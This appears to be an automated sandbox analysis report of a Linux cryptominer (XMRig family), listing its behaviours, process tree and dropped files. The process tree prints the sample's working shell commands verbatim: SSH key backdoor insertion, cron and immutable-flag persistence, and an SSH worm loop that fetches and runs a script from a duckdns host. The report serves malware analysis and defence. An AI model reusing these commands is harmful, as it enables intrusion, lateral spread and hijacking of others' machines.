Analysis

  • max time kernel
    39s
  • max time network
    41s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20261019-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20261019-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    28/11/2026, 04:25

General

  • Target
    sample.elf
  • Size 261KB
  • Sample261128-e2fctshx7l
  • SHA256 022121502f8f793b4e205995d703130dd773364f40ef65c569e72e810db19ead
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Modifies the dynamic linker configuration file 2 TTPs 1 IoCs

    Malware can modify the configuration file of the dynamic linker to preload malicous libraries with every executed process.

  • Adds new SSH keys 1 TTPs 1 IoCs

    Linux special file to hold SSH keys. The threat actor may add new keys for further remote access.

  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Checks hardware identifiers (DMI) 1 TTPs 2 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Creates/modifies Cron job 1 TTPs 4 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Creates/modifies environment variables 1 TTPs 2 IoCs

    Creating/modifying environment variables is a common persistence mechanism.

  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies init.d 2 TTPs 1 IoCs

    Adds/modifies system service, likely for persistence.

  • Modifies rc script 2 TTPs 1 IoCs

    Adding/modifying system rc scripts is a common persistence mechanism.

  • Modifies systemd 2 TTPs 2 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

  • Reads MAC address of network interface 2 TTPs 2 IoCs

    Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.

  • Reads hardware information 1 TTPs 2 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Removes the immutable protection flag from a file 1 TTPs 6 IoCs

    Uses chattr to remove the immutable flag from a file, allowing previously write-protected files to be modified or deleted.

  • Write file to user bin folder 2 IoCs
  • Modifies Bash startup script 2 TTPs 2 IoCs
  • Changes its process name 3 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads system network configuration 1 TTPs 2 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Enumerates kernel/hardware configuration 1 TTPs 1 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to shm directory 2 IoCs

    Malware can drop malicious files in the shm directory which will run directly from RAM.

  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/sample.elf
    /tmp/sample.elf
    1⤵
    • Modifies the dynamic linker configuration file
    • Executes dropped EXE
    • Modifies Watchdog functionality
    • Checks hardware identifiers (DMI)
    • Creates/modifies Cron job
    • Creates/modifies environment variables
    • Enumerates active TCP sockets
    • Modifies init.d
    • Modifies rc script
    • Modifies systemd
    • Reads MAC address of network interface
    • Reads hardware information
    • Write file to user bin folder
    • Modifies Bash startup script
    • Changes its process name
    • Checks CPU configuration
    • Reads system network configuration
    • Enumerates kernel/hardware configuration
    • Reads runtime system information
    • Writes file to shm directory
    • Writes file to tmp directory
    PID:1508
    • /bin/sh
      sh -c "sysctl -w net.core.wmem_max=268435456 net.core.wmem_default=2097152 >/dev/null 2>&1"
      2⤵
        PID:1517
        • /sbin/sysctl
          sysctl -w "net.core.wmem_max=268435456" "net.core.wmem_default=2097152"
          3⤵
            PID:1518
        • /bin/sh
          sh -c "sysctl -w net.core.rmem_max=268435456 >/dev/null 2>&1"
          2⤵
            PID:1520
            • /sbin/sysctl
              sysctl -w "net.core.rmem_max=268435456"
              3⤵
                PID:1521
            • /bin/sh
              sh -c "chattr -i /etc/cron.d/guardian /etc/cron.d/milkd /etc/init.d/guardian /etc/systemd/system/guardian.service /etc/rc.local 2>/dev/null"
              2⤵
                PID:1522
                • /usr/bin/chattr
                  chattr -i /etc/cron.d/guardian /etc/cron.d/milkd /etc/init.d/guardian /etc/systemd/system/guardian.service /etc/rc.local
                  3⤵
                  • Removes the immutable protection flag from a file
                  PID:1523
              • /bin/sh
                sh -c "(crontab -l 2>/dev/null | grep -v .guardian; echo '@reboot /tmp/.guardian vps >/dev/null 2>&1 &') | crontab - 2>/dev/null"
                2⤵
                  PID:1524
                  • /usr/bin/crontab
                    crontab -
                    3⤵
                    • Creates/modifies Cron job
                    PID:1526
                  • /bin/grep
                    grep -v .guardian
                    3⤵
                      PID:1528
                    • /usr/bin/crontab
                      crontab -l
                      3⤵
                        PID:1527
                    • /bin/sh
                      sh -c "mkdir -p /root/.ssh 2>/dev/null; chmod 700 /root/.ssh 2>/dev/null; grep -q 'IFs/EDd76mDd3' /root/.ssh/authorized_keys 2>/dev/null || echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFs/EDd76mDd3JLxIWEY6LEblRCkY38GUU0aB7qK2m/l mac' >> /root/.ssh/authorized_keys 2>/dev/null; chmod 600 /root/.ssh/authorized_keys 2>/dev/null"
                      2⤵
                      • Adds new SSH keys
                      PID:1529
                      • /bin/mkdir
                        mkdir -p /root/.ssh
                        3⤵
                          PID:1530
                        • /bin/chmod
                          chmod 700 /root/.ssh
                          3⤵
                            PID:1531
                          • /bin/grep
                            grep -q IFs/EDd76mDd3 /root/.ssh/authorized_keys
                            3⤵
                              PID:1532
                            • /bin/chmod
                              chmod 600 /root/.ssh/authorized_keys
                              3⤵
                                PID:1533
                            • /bin/sh
                              sh -c "for k in /root/.ssh/id_rsa /root/.ssh/id_ed25519 /root/.ssh/id_dsa /root/.ssh/id_ecdsa; do [ -f \"\$k\" ] || continue; for h in \$(grep -oE '^[^ ,]+' /root/.ssh/known_hosts 2>/dev/null | grep -v '^|' | head -25); do ssh -i \"\$k\" -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=6 -o BatchMode=yes root@\"\$h\" 'wget -q -T 15 http://elwqelwqele.duckdns.org/l.sh -O /tmp/.s 2>/dev/null && sh /tmp/.s ssh-spread' 2>/dev/null & done; done"
                              2⤵
                              • Removes the immutable protection flag from a file
                              PID:1554
                            • /bin/sh
                              sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                              2⤵
                              • Removes the immutable protection flag from a file
                              PID:1555
                            • /bin/sh
                              sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                              2⤵
                              • File and Directory Permissions Modification
                              PID:1556
                            • /bin/sh
                              sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an /etc/cron.d/guardian /etc/cron.d/milkd /etc/init.d/guardian /etc/systemd/system/guardian.service 2>/dev/null"
                              2⤵
                                PID:1557
                              • /bin/sh
                                sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                2⤵
                                • Removes the immutable protection flag from a file
                                PID:1558
                              • /bin/sh
                                sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                2⤵
                                • File and Directory Permissions Modification
                                PID:1559
                              • /bin/sh
                                sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an /etc/cron.d/guardian /etc/cron.d/milkd /etc/init.d/guardian /etc/systemd/system/guardian.service 2>/dev/null"
                                2⤵
                                  PID:1560
                                • /bin/sh
                                  sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                  2⤵
                                  • Removes the immutable protection flag from a file
                                  PID:1561
                                • /bin/sh
                                  sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:1562
                                • /bin/sh
                                  sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an /etc/cron.d/guardian /etc/cron.d/milkd /etc/init.d/guardian /etc/systemd/system/guardian.service 2>/dev/null"
                                  2⤵
                                    PID:1563
                                  • /bin/sh
                                    sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                    2⤵
                                    • Removes the immutable protection flag from a file
                                    PID:1566
                                  • /bin/sh
                                    sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:1567
                                  • /bin/sh
                                    sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an /etc/cron.d/guardian /etc/cron.d/milkd /etc/init.d/guardian /etc/systemd/system/guardian.service 2>/dev/null"
                                    2⤵
                                      PID:1568
                                  • /var/tmp/.grd1an
                                    .grd1an vps --g
                                    1⤵
                                    • Modifies Watchdog functionality
                                    • Changes its process name
                                    • Writes file to tmp directory
                                    PID:1513

                                  Network

                                        MITRE ATT&CK Enterprise v16

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        guardian

                                        • Path /etc/cron.d/guardian
                                        • Size 32B
                                        • SHA256 f4aed9294bbe1038264345e61215820571207d519660bb217fd717bd05cc6dc1
                                        • MD5 SHA1 SHA512

                                        milkd

                                        • Path /etc/cron.d/milkd
                                        • Size 38B
                                        • SHA256 248da2b8f04a800b499a5310bab1e91e6846a06e40afbdc9252553ca38372a7a
                                        • MD5 SHA1 SHA512

                                        guardian

                                        • Path /etc/init.d/guardian
                                        • Size 92B
                                        • SHA256 03561910ba242c345b6266e8318b5957181b54f56ba922b32e5d5865c0536861
                                        • MD5 SHA1 SHA512 TLSH

                                        inittab

                                        • Path /etc/inittab
                                        • Size 29B
                                        • SHA256 49c8eca2929f52b226677678df5863f4b4e37e8b32ff95c5bb629c1501b4aa17
                                        • MD5 SHA1 SHA512

                                        mdev.conf

                                        • Path /etc/mdev.conf
                                        • Size 39B
                                        • SHA256 f6ebc043b1b99fa145a0c86e7292ef07f75c7ae1b22f0acf0a6c598bef35f6ad
                                        • MD5 SHA1 SHA512

                                        rc.local

                                        • Path /etc/rc.local
                                        • Size 49B
                                        • SHA256 236b036073039580e5098f3f85464b0fee0af9f3444b4d27c7d23d274ee79dc3
                                        • MD5 SHA1 SHA512

                                        guardian.service

                                        • Path /etc/systemd/system/guardian.service
                                        • Size 153B
                                        • SHA256 74977bd14f5b7f4cb5b5560d436fe1d3e4df59c89288a63dbf5591411b21b811
                                        • MD5 SHA1 SHA512 TLSH

                                        milkd.service

                                        • Path /etc/systemd/system/milkd.service
                                        • Size 156B
                                        • SHA256 15ef5b89389a4551ae86810a565ad2b7599685d7a71693f38d69d246d905a959
                                        • MD5 SHA1 SHA512 TLSH

                                        99-guardian.rules

                                        • Path /etc/udev/rules.d/99-guardian.rules
                                        • Size 41B
                                        • SHA256 9f8a6de318380321f062e439642b982a21eb02dd24b524f2e75ceca0167dc931
                                        • MD5 SHA1 SHA512

                                        libhide.so

                                        • Path /lib/libhide.so
                                        • Size 3KB
                                        • SHA256 f65d51df7630c28b5086deb9205728350bab912072abd72dcb8872f90400451a
                                        • MD5 SHA1 SHA512 TLSH

                                        authorized_keys

                                        • Path /root/.ssh/authorized_keys
                                        • Size 85B
                                        • SHA256 64f493fe7684dcee0ad3e3d5f07d4aafd1c6811341eff4dab9ad6f46b46f654f
                                        • MD5 SHA1 SHA512 TLSH

                                        .gk

                                        • Path /tmp/.gk
                                        • Size 17B
                                        • SHA256 7c17983cc62a57b99941c9122ca3bfd914f6129a839e28cfff98e27507fb7b34
                                        • MD5 SHA1 SHA512

                                        .grd1an.pid

                                        • Path /tmp/.grd1an.pid
                                        • Size 5B
                                        • SHA256 67ebee0a13d3c664b128409c682bfe85ad9874df81a8b71698c5106ae4e7feb9
                                        • MD5 SHA1 SHA512

                                        .guardian

                                        • Path /tmp/.guardian
                                        • Size 261KB
                                        • SHA256 b493eac7ac7107809604d87abe1b33268840e24ab50cf7484ba3d9ead8440720
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        .guardian

                                        • Path /tmp/.guardian
                                        • Size 261KB
                                        • SHA256 022121502f8f793b4e205995d703130dd773364f40ef65c569e72e810db19ead
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        .guardian.tag

                                        • Path /tmp/.guardian.tag
                                        • Size 4B
                                        • SHA256 b7fafb86bf6623e388b84fcb2443bf033660e9fdd5bd9669f0223051a90b7ca2
                                        • MD5 SHA1 SHA512

                                        tmp.cc5IYd

                                        • Path /var/spool/cron/crontabs/tmp.cc5IYd
                                        • Size 220B
                                        • SHA256 3f84c781f51d619266d816a6ab051e9637364fea13eac9a1bb6ad9cd4ae6af17
                                        • MD5 SHA1 SHA512 TLSH